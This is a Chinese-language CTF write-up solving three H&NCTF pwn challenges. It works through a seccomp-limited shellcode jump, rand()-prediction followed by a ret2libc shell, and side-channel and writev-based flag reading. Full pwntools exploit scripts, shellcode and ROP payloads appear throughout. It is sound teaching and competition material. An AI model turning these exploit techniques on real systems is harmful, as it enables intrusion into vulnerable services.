三步走战略

准备


64位,什么保护都没开

分析

main函数

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
sub_4012F3();
sub_4013E8();
sub_401414();
return 0LL;
}

给了三个函数,主要是下面两个

sub_4012F3函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_4012F3()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 9LL, 0LL);
seccomp_load(v1);
return seccomp_release(v1);
}

这题涉及到沙箱

sub_4013E8函数

1
2
3
4
5
6
int sub_4013E8()
{
puts("Welcome to the world of \"H&NCTF\"!");
printf("I think you need to prepare your acceptance speech in advance. ");
return getchar();
}

第一个输入点,读取输入的第一个字符(包括空格、换行符等),并将其作为函数返回值
(如果输入多个字符,getchar() 仅读取第一个字符,剩余字符会留在输入缓冲区中,可能影响后续输入函数的行为)

sub_401414函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssize_t sub_401414()
{
_BYTE buf_1[56]; // [rsp+0h] [rbp-40h] BYREF
void *buf; // [rsp+38h] [rbp-8h]

buf = mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap");
exit(1);
}
fflush(stdout);
printf("Please speak:");
read(0, buf, 0x100uLL);
printf("Do you have anything else to say?");
return read(0, buf_1, 0x100uLL);
}

先是用mmap映射了一段可读可写可执行空间,给了参数buf
第一个输入点是往buf中写入,第二个输入点往buf_1中写入,造成溢出

思路

这题有溢出,有可以直接写入的可用空间,可以往空间中写入shellcode,获得连接,但这里有沙箱限制

限制了用orw,先给手写orw的思路,在是生成的orw方法
(服了,因为生成的orw比赛的时候没出,复现的时候又可以了,更新一下wp)
1.open(‘/flag’, 0)
两个参数,用rax存放系统调用号(open是2),rdirsi 存放第一个和第二个参数

1
2
3
4
5
6
/* open('/flag', 0) */
mov rax, 2 ////设置系统调用号
lea rdi, [rip + filename] //rdi寄存器保存/flag字符串的地址
使用rip相对寻址来计算字符串地址
xor rsi, rsi //寄存器rsi清零(0表示只读)
syscall
  • 系统调用完成后,rax 寄存器存储 open 函数的返回值:
    • 成功时返回文件描述符(非负整数);
    • 失败时返回 -1。
      2.read(fd, addr, 0x100)
      三个参数,用rax存放系统调用号(read是0),rdirsirdx 存放第一个,第二个和第三个参数
1
2
3
4
5
6
/* read(fd, addr, 0x100) */
mov rdi, rax //将上一步的文件描述符(FD)存入 rdi
mov rsi, 0x1337200 //设置地址为mmap映射地址的起始地址
mov rdx, 0x100 //读取大小
xor rax, rax //设置系统调用号(覆盖之前的返回值)
syscall

3.write(1, addr, 0x100)
三个参数,用rax存放系统调用号(read是0),rdirsirdx 存放第一个,第二个和第三个参数

1
2
3
4
5
6
/* write(1, addr, 0x100) */
mov rax, 1 //设置系统调用号
mov rdi, 1 //设置文件描述符(1是标准输出)
mov rsi, 0x1337200 //设置地址为mmap映射地址的起始地址
mov rdx, 0x100 //读取大小
syscall

最后设置文件

1
2
filename:
.asciz "/flag" //定义以 NULL 结尾的字符串 "/flag"

作用:

  1. 在内存中创建一个名为 filename 的标签(Label),它代表字符串的起始地址
  2. 将字符串 "/flag" 的字符(’f’, ‘l’, ‘a’, ‘g’)依次存入内存
  3. 自动在字符串末尾添加一个 NULL 终止符(0)
    (拥有终止符的原因:
    在大多数系统编程环境中,字符串是以 NULL(值为 0 的字节)结尾的字符数组。
    这是一种约定,用于标识字符串的结束位置。
    如果不添加 NULL 终止符,函数会继续读取内存中的后续字节,直到遇到一个偶然的 0 值,会出现问题。)
    (这里filename位置不能变,具体我也是懵懵懂懂就不再讲述,汇编不太会写,所以当时写的时候有查询,没想到最后通了)
    总的汇编是这样子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sc = asm('''
/* open('/flag', 0) */
mov rax, 2
lea rdi, [rip + filename]
xor rsi, rsi
syscall

/* read(fd, addr, 0x100) */
mov rdi, rax
mov rsi, 0x1337200
mov rdx, 0x100
xor rax, rax
syscall

/* write(1, addr, 0x100) */
mov rax, 1
mov rdi, 1
mov rsi, 0x1337200
mov rdx, 0x100
syscall

filename:
.asciz "/flag"
''')

通过第二个输入点把这个写入buf中,然后再第三个输入点处有一个溢出,这里我们通过溢出,把返回地址定为mmap映射地址的起始地址,也就是buf那里,就能触发我们往buf里写入的orw,读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
motaly@motaly-VMware-Virtual-Platform:~$ gdb vuln
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from vuln...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in vuln)
------- tip of the day (disable with set show-tips off) -------
GDB's follow-fork-mode parameter can be used to set whether to trace parent or child after fork() calls. Pwndbg sets it to child by default
pwndbg> cycli 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
pwndbg> r
Starting program: /home/motaly/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the world of "H&NCTF"!
I think you need to prepare your acceptance speech in advance.
Please speak:aaaa
Do you have anything else to say?aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004014c5 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
RAX 0x100
RBX 0x7fffffffd808 —▸ 0x7fffffffdbef ◂— '/home/motaly/vuln'
RCX 0x7ffff7d1ba61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x100
RDI 0
RSI 0x7fffffffd690 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x21
R9 0
R10 0x7ffff7c109d8 ◂— 0x11001200001bd3
R11 0x246
R12 1
R13 0
R14 0x403e08 —▸ 0x401280 ◂— endbr64
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6161616161616169 ('iaaaaaaa')
RSP 0x7fffffffd6d8 ◂— 0x616161616161616a ('jaaaaaaa')
RIP 0x4014c5 ◂— ret
─────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────
► 0x4014c5 ret <0x616161616161616a>










───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd6d8 ◂— 0x616161616161616a ('jaaaaaaa')
01:0008│ 0x7fffffffd6e0 ◂— 0x616161616161616b ('kaaaaaaa')
02:0010│ 0x7fffffffd6e8 ◂— 0x616161616161616c ('laaaaaaa')
03:0018│ 0x7fffffffd6f0 ◂— 0x616161616161616d ('maaaaaaa')
04:0020│ 0x7fffffffd6f8 ◂— 0x616161616161616e ('naaaaaaa')
05:0028│ 0x7fffffffd700 ◂— 0x616161616161616f ('oaaaaaaa')
06:0030│ 0x7fffffffd708 ◂— 0x6161616161616170 ('paaaaaaa')
07:0038│ 0x7fffffffd710 ◂— 0x6161616161616171 ('qaaaaaaa')
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► 0 0x4014c5 None
1 0x616161616161616a None
2 0x616161616161616b None
3 0x616161616161616c None
4 0x616161616161616d None
5 0x616161616161616e None
6 0x616161616161616f None
7 0x6161616161616170 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Undefined command: "haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa". Try "help".
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72

得到偏移量为72
第一个输入点,通过空行绕过

1
2
3
4
5
6
7
addr = 0x1337000
io.recvuntil(b'I think you need to prepare your acceptance speech in advance.')
io.sendline(b'')
io.recvuntil(b'Please speak:')
io.sendline(sc)
payload = b'a'*72 + p64(addr)
io.sendlineafter(b'Do you have anything else to say?', payload)

生成的用到shellcraft函数(这个会方便和简单很多)

1
2
3
4
sc=shellcraft.open("/flag")
sc+=shellcraft.read(3, 0x1337000, 0x100)
sc+=shellcraft.write(1, 0x1337000, 0x100)
orw=asm(sc)

其余的更上面一致

脚本

1.手写orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('27.25.151.198', 38228)
# io = process('/home/motaly/vuln')

sc = asm('''
/* open('/flag', 0) */
mov rax, 2
lea rdi, [rip + filename]
xor rsi, rsi
syscall

/* read(fd, addr, 0x100) */
mov rdi, rax
mov rsi, 0x1337200
mov rdx, 0x100
xor rax, rax
syscall

/* write(1, addr, 0x100) */
mov rax, 1
mov rdi, 1
mov rsi, 0x1337200
mov rdx, 0x100
syscall

filename:
.asciz "/flag"
''')

addr = 0x1337000
io.recvuntil(b'I think you need to prepare your acceptance speech in advance.')
io.sendline(b'')
io.recvuntil(b'Please speak:')
io.sendline(sc)
payload = b'a'*72 + p64(addr)
io.sendlineafter(b'Do you have anything else to say?', payload)
io.interactive()

2.生成orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch='amd64'

io=remote('27.25.151.198',40661)
# io = process('/home/motaly/vuln')

sc=shellcraft.open("/flag")
sc+=shellcraft.read(3, 0x1337000, 0x100)
sc+=shellcraft.write(1, 0x1337000, 0x100)
orw=asm(sc)

io.recvuntil(b'I think you need to prepare your acceptance speech in advance.')
io.sendline(b'')
io.recvuntil(b'Please speak:')
io.sendline(orw)
io.recvuntil(b'Do you have anything else to say?')
payload=b'a'*(0x40+8)+p64(0x1337000)
io.sendline(payload)

io.interactive()

pdd助力

随机数绕过和ret2libc
(这个是作者自己的写法,连接的时候会看运气,连不起来报错的时候,需要多试几次,当卡一个值的时候,就是在运行,这里等一下,如果是其他问题就自己调一下)

准备


64位,就开了一个NX保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+Ch] [rbp-14h]
unsigned int n8; // [rsp+10h] [rbp-10h]
unsigned int seed; // [rsp+14h] [rbp-Ch]
int j; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]

init(argc, argv, envp);
seed = time(0LL);
n8 = 8;
srand(seed);
v5 = rand();
srand(v5 % 5 - 44174237);
puts(&s_);
puts(&s__0);
puts("game1 begin\n");
for ( i = 1; i <= 55; ++i )
{
puts("good!");
__isoc99_scanf("%d", &v4);
if ( rand() % 4 + 1 != v4 )
{
puts("Your flag has been stolen by a mouse.");
return 0;
}
}
puts(
"Congratulations! Since you have participated in the CTF competitions multiple times, the difficulty level has now dr"
"opped directly to the easiest.\n");
puts("You have outperformed over 99.99% of the contestants.\n");
puts("Your friend 'Genshin Impact Start' has obtained the flag through assistance. You'll be the next one.\n");
puts("You only need one more boost to get the flag.\n");
puts("game2 begin\n");
srand(n8);
for ( j = 1; j <= 55; ++j )
{
puts("good!");
__isoc99_scanf("%d", &v4);
if ( rand() % 4 + 8 != v4 )
{
puts("Your flag has been stolen by a mouse.\n");
return 0;
}
}
puts("You've collected the last piece of the puzzle. Now you just need to invite one more new user to get the flag.\n");
func();
return 0;
}

这里主要是两层限制
1.第一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
seed = time(0LL);                     //获取当前时间作为初始种子
srand(seed); //初始化随机数生成器
v5 = rand(); //生成第一个随机数
srand(v5 % 5 - 44174237); //计算新的种子值
for ( i = 1; i <= 55; ++i ) //进行55次循环
{
puts("good!");
__isoc99_scanf("%d", &v4); //输入点
if ( rand() % 4 + 1 != v4 ) //输入与随机生成的进行匹配
{
puts("Your flag has been stolen by a mouse.");
return 0;
}
}

这里需要我们55次输入都与它随机生成的相等,设置随机数生成器的有用当前时间,然后是v5 % 5 - 44174237,最后随机数是rand() % 4 + 1
2.第二层

1
2
3
4
5
6
7
8
9
10
11
12
n8 = 8;
srand(n8);
for ( j = 1; j <= 55; ++j )
{
puts("good!");
__isoc99_scanf("%d", &v4);
if ( rand() % 4 + 8 != v4 )
{
puts("Your flag has been stolen by a mouse.\n");
return 0;
}
}

同样的我们55次输入都与它随机生成的相等,设置随机数生成器为8,最后随机数是rand() % 4 + 8
最后进入func函数

func函数

1
2
3
4
5
6
7
ssize_t func()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("Congratulations young man.");
return read(0, buf, 0x100uLL);
}

存在溢出

思路

这题溢出前有两个限制,没有连接点,所以可以绕过限制后,用ret2libc来打
这里用 Python 的 ctypes 模块调用 C 标准库(libc)中的随机数生成函数,开头先要进行设置

1
2
3
4
5
6
7
8
9
10
11
import ctypes
import time
from pwn import *

# p = remote('27.25.151.198', 41819)
p = process('/home/motaly/pwn2')
elf=ELF('/home/motaly/pwn2')

libc = ctypes.CDLL("libc.so.6") //加载 C 标准库
libc.srand.argtypes = [ctypes.c_uint] //设置srand函数的参数类型
libc.rand.restype = ctypes.c_int //设置rand函数的返回值类型

第一层限制
先自定义一个函数作用是根据题目设置相应的随机数生成器,并生成一个数组,存储按题目要求生成的随机数

1
2
3
4
5
6
7
def get_first_55(guess):
libc.srand(guess)
v5 = libc.rand()
new_seed = v5 % 5 - 44174237
libc.srand(new_seed)
list = [(libc.rand() % 4 + 1) for _ in range(55)] //生成的随机数数组
return list

考虑延迟等各种因素,这里不能直接使用当前时间,给一个时间范围,都尝试一下

1
2
3
4
5
6
7
8
9
10
11
12
time = int(time.time())

for seed in range(time + 10, time - 5, -1):
try:
first_55 = get_first_55(seed)
log.info(f"Trying seed: {seed}")
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(first_55[i]).encode())
break
except Exception as e:
continue

第二层限制
类似上面,根据题目设置相应的随机数生成器,并生成一个数组,存储按题目要求生成的随机数
,最后通过循环输入

1
2
3
4
5
libc.srand(8)
second_55 = [(libc.rand() % 4 + 8) for _ in range(55)]
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(second_55[i]).encode())

绕过了限制,就能到达溢出点的位置
直接通过ida查看偏移

偏移量是0x30+8
64位程序需要寄存器,有时还要堆栈平衡

选用puts函数,直接开打ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
puts_got=elf.got['puts']
read_got=elf.got['read']
puts_plt=elf.plt['puts']
func=0x40121F
rdi=0x401483
ret=0x40101a

payload=b'a'*(0x30+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(func)
p.sendlineafter(b'Congratulations young man.',payload)

p.recv()
# puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
puts_addr=u64(p.recv(6)[-6:].ljust(8, b'\x00'))
print("puts_addr-->"+hex(puts_addr))

libc=ELF('/home/motaly/libc.so.6')
libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

payload=b'a'*(0x30+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Congratulations young man.',payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import ctypes
import time
from pwn import *

# p = remote('27.25.151.198', 41819)
p = process('/home/motaly/pwn2')
elf=ELF('/home/motaly/pwn2')

libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int

def get_first_55(guess):
libc.srand(guess)
v5 = libc.rand()
new_seed = v5 % 5 - 44174237
libc.srand(new_seed)
list = [(libc.rand() % 4 + 1) for _ in range(55)]
return list

time = int(time.time())

for seed in range(time + 10, time - 5, -1):
try:
first_55 = get_first_55(seed)
log.info(f"Trying seed: {seed}")
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(first_55[i]).encode())
break
except Exception as e:
continue

libc.srand(8)
second_55 = [(libc.rand() % 4 + 8) for _ in range(55)]
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(second_55[i]).encode())

puts_got=elf.got['puts']
read_got=elf.got['read']
puts_plt=elf.plt['puts']
func=0x40121F
rdi=0x401483
ret=0x40101a

payload=b'a'*(0x30+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(func)
p.sendlineafter(b'Congratulations young man.',payload)

p.recv()
# puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
puts_addr=u64(p.recv(6)[-6:].ljust(8, b'\x00'))
print("puts_addr-->"+hex(puts_addr))

libc=ELF('/home/motaly/libc.so.6')
libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

payload=b'a'*(0x30+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Congratulations young man.',payload)

p.interactive()

shellcode

准备

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]

buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed");
exit(1);
}
puts("Welcome to H&NCTF2025");
printf("Enter your command: ");
fflush(_bss_start);
if ( read(0, buf, 0x1000uLL) <= 0 )
{
perror("read failed");
exit(1);
}
setup_sandbox();
((void (*)(void))buf)();
return 0;
}

mmap映射了一段可读可写可执行的空间给buf参数
下面有直接的输入,写入到buf中
有setup_sandbox函数,题目涉及道沙箱

思路

有直接的输入点,但是涉及到沙箱
输入点随便给一个值,查看沙箱限制

这里把write禁用了,从大佬那学了两种方法,解决这题

方法1–侧信道爆破

(初次学习侧信道爆破,用了一个大佬的脚本,不过爆的不是很稳定,会不准确和慢,这里主要是学习和收集侧信道爆破的知识点和脚本)
侧信道爆破的知识点文章
大佬的原始wp
主要分两段
第一段是打开 “flag” 文件,读取内容,然后比较特定位置的字符是否小于等于给定值
第二段是通过不断调整比较值,确定 flag 中每个字符的 ASCII 码值(这里通过二分查找实现)
重点是第一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def find(i, c):
global io
io=remote('27.25.151.198',41155)
sc=asm("""
movabs rax, 0x67616C66 //加载"flag"字符串
push 0 //压入字符串结束符
push rax //压入'flag'
push rsp //保存当前栈顶地址
pop rdi //设置rdi为'flag.txt'的地址(open的第一个参数)
xor rsi, rsi //设置rsi=0(0表示O_RDONLY为只读模式)
xor rdx, rdx //设置rdx=0(文件权限)
mov rax, 2 //设置系统调用2(open)
syscall //执行系统调用,打开"flag.txt"文件 #open("flag.txt",0,0)

mov rsi, rdi //设置缓冲区地址为"flag.txt"的地址(read的第2 个参数)
mov rdi, rax //将文件描述符(rax)存入rdi(read的第1个参数)
xor rax, rax //设置系统调用0(read)
mov rdx, 0x100 //设置读取长度(read的第3个参数)
syscall //执行系统调用 #read(文件描述符, rsi, 0x100);
mov al, [rsp+{}] //从读取内容中获得第i个字符
cmp al, {} //比较该字符与猜测值c
jbe $ //如果a1 <= c,则无限循环
""".format(i, c)) //Python 字符串格式化方法,用于将变量`i`和`c`的 值插入到汇编代码中
io.sendafter(b"command:", sc)

这里的 global io
允许函数内部访问和修改全局作用域中的io变量
在 Python 中,函数内部默认只能访问全局变量,但不能直接修改它们。如果没有 global io 声明,find 函数内部对 io 的赋值会创建一个新的局部变量,而不是修改全局变量
第二段
二分查找方法确定flag值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
i = 0                         //用于记录当前正在猜测的flag字符位置(索引)
flag = ''
while True:
l = 0x20 //搜索范围下界,对应ASCII码的空格字符(32)
r = 0x80 //搜索范围上界,对应ASCII码的128(超出可打印字符范围)
while l <= r:
m = (l + r) // 2 //算当前搜索范围的中间值,作为本次猜测的ASCII码
if find(i, m): //调用find函数检查第i个字符是否小于等于m
r = m - 1 //如果第i个字符小于等于m,缩小上界,继续在左半部分搜索
else:
l = m + 1 //如果第i个字符大于m,增大下界,继续在右半部分搜索
if l==0: //当l变为0时,表示没有找到有效字符,可能flag已获取完毕
break //跳出外层循环,结束整个flag获取过程
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

方法2–orw

大佬原始的wp
这题虽然把write禁用了,但可以用和write功能差不多的writev,然后用orw


知识点

write writev
功能 向文件描述符写入连续的一块数据 向文件描述符写入多个不连续的缓冲区数据
头文件 #include <unistd.h> #include <sys/uio.h>
#include <unistd.h>
函数原型 ssize_t write(int fd, const void *buf, size_t count); ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
参数 fd:文件描述符
buf:数据缓冲区地址
count:写入字节数
fd:文件描述符
ioviovec结构体数组指针
 iovcnt:数组元素个数
返回值 成功返回实际写入字节数,失败返回 - 1 成功返回实际写入字节数,失败返回 - 1
系统调用 rax = 1(系统调用号)
rdi = fd(文件描述符)
rsi = buf(缓冲区地址)
rdx = count(字节数)
rax = 20(系统调用号)
rdi = fd(文件描述符)
rsi = iov(iovec 数组地址)
rdx = iovcnt(数组元素个数)
iovec结构体在内存中的布局:
1
2
3
4
struct iovec {
void *iov_base; // 缓冲区地址(8字节)
size_t iov_len; // 缓冲区长度(8字节)
};

主要的是orw手写汇编(下面是我根据大佬的脚本进行的微改版本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
payload = asm('''
/* open('/flag', 0) */
mov rax, 2 //设置系统调用号2(open)
lea rdi, [rip + filename] //使用rip相对寻址获取"filename"标签地址(即 "/flag")
xor rsi, rsi //rsi清零(0表示只读)
syscall

/* read(fd, addr, 0x100) */
mov rdi, rax //将上一步的文件描述符(FD)存入 rdi
xor rax, rax //设置系统调用号0(read)
sub rsp, 0x100 //在栈上分配0x100字节空间
mov rsi, rsp //设置缓冲区地址(栈顶)
mov rdx, 0x100 //设置读取字节数
syscall

/* writev (1, iov, 1) */
mov rdi, 1 //设置文件描述符(1为标准输出)
mov rbx,rsp //设置缓冲区地址
sub rsp, 16 //栈指针下移16字节(作为iovec结构体预留空间)
push 0x100 //设置iov_len
push rbx //设置iov_base,这里rsp指向iov_base
mov rsi, rsp //rsi指向iovec结构体
mov rdx, 1 //iovcnt=1
mov rax, 20 //设置系统调用号
syscall

filename:
.asciz "/flag"
''')

详细可看三步走战略的orw思路,这里不同的就是用了writev

脚本

方法1–侧信道爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.arch='amd64'

io=0
def find(i, c):
global io
io=remote('27.25.151.198',48409)
sc=asm("""
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))

io.sendafter(b"command:", sc)
io.recv()
try:
io.recv(timeout=3)
io.close()
return True
except EOFError:
io.close()
return False

i = 0
flag = ''
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

info("flag: "+flag)

方法2–orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch='amd64',os='linux')
#io=process('./pwn')
#gdb.attach(io)
io=remote('27.25.151.198',43985)
payload = asm('''
mov rax, 2
lea rdi, [rip + filename]
xor rsi, rsi
syscall

mov rdi, rax
xor rax, rax
sub rsp, 0x100
mov rsi, rsp
mov rdx, 0x100
syscall

mov rdi, 1
mov rbx,rsp
sub rsp, 16
push 0x100
push rbx
mov rsi, rsp
mov rdx, 1
mov rax, 20
syscall

filename:
.asciz "/flag"
''')
io.recvuntil(b'Enter your command: ')
io.sendline(payload)
io.interactive()